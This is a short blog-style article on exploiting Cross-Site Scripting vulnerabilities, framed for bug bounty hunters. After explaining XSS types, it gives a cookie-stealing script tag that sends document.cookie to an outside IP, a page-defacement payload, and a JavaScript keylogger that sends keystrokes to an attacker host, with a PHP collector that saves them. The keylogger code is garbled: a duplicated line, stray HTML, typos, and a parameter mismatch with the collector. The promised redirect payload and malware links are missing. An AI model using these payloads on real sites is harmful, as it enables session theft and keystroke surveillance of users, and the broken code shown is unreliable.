Top 5 ways to exploit a Cross-Site Scripting (XSS) vulnerability
By: Cristian Cornea
Tags: Bug Bounty, Information Technology, Cybersecurity, Hacking, Web Development

Introduction to Cross-Site Scripting (XSS)

In this article, we will discuss Cross-Site Scripting (XSS) vulnerability, how to find one and present 5 creative ways to demonstrate its impact by exploiting it.

Cross-Site Scripting (XSS) and the various types of it

It is a web-based vulnerability in which an attacker can inject malicious JavaScript code into the application, which will be later executed.

There are multiple types of this vulnerability (based on how the malicious scripts are stored and executed):

Stored/Persistent XSS: malicious scripts are stored in the application, for example in a comment section. Reflected/Non-persistent XSS: malicious scripts are returned back to the user, for example in a search query. DOM-Based/Client-Side XSS: malicious scripts are injected in the Document Object Model, being executed on the client-side and the webserver response isn’t modified. Self-XSS: the victim is tricked to run malicious scripts on their side, for example in their web developer console.

How to find a Cross-Site Scripting (XSS) in a web application

Identify all the user inputs in the application, then play with them. Send malicious scripts inside the input, see how the server responds, try to bypass the restrictions such as tag removal, encoding or character.

Also, a good practice besides the manual testing will be automated payload testing (which can be done with many tools, such as BurpSuite or OWASP ZAP).

Top 5 creative ways to exploit a Cross-Site Scripting (XSS)

Let’s discuss together 5 ways to demonstrate the severity and impact of a Cross-Site Scripting vulnerability.

#1: Stealing Cookies

Let’s suppose we have a vulnerable comments section of a blog, where an attacker can insert a malicious XSS payload. If he/she will provide the below input, it will be stored in the comments section, and any user which sees it, will have her/his cookies stolen.

<script>new Image().src="http://192.168.149.128/bogus.php?output="+document.cookie;</script>

#2: Open Redirection

You can redirect users to any chosen domain with the following XSS payload (used mostly in phishing schemes):

#3: Website Defacement

Defacement is the technique used by hackers to change the website’s page to the one chosen by the attacker, which usually contains a message that starts with “HACKED BY….”.

You can deface a website with you own designed image using the below code:

<script>document.body.background="ATTACKER'S IMAGE URL";</script>

#4: Keylogger

You can capture a website user’s keystrokes by injecting a JavaScript keylogger through a Cross-Site Scripting (XSS) vulnerability.

On the victim’s side:



var buffer = [];

var attacker = ' var buffer = [];var attacker = ' <a href="http://ATTACKER'S" class="dm ip" rel="noopener nofollow">http://ATTACKER'S</a> WEBSITE/?msg=' document.onkeypress = function(e) {

var timestamp = Date.now() | 0;

var stroke = {

k: e.key,

t: timestamp

};

buffer.push(stroke);

} window.setInterval(function() {

if (buffer.length > 0) {

var data = encodeURIComponent(JSON.stringify(buffer));

new Image(.src = attacker + data;

buiffer = [];

}

}, 200);

</script>

On the attacker’s side:

<?php

if(!empty($_GET['key'])) {

$logfile = fopen('captured.txt', 'a+');

fwrite($logfile, $_GET['key']);

fclose($logfile);

}

?>

#5: Malware

XSS vulnerabilities are basically represented by a JavaScript malicious input being parsed into the application, and executed on the client-side. So, why there can’t be a possibility for the attackers to inject malware or adware that is written in JavaScript? I will attach a list of links with JS-based malware samples:

Thanks very much for your attention, and wish you all the best!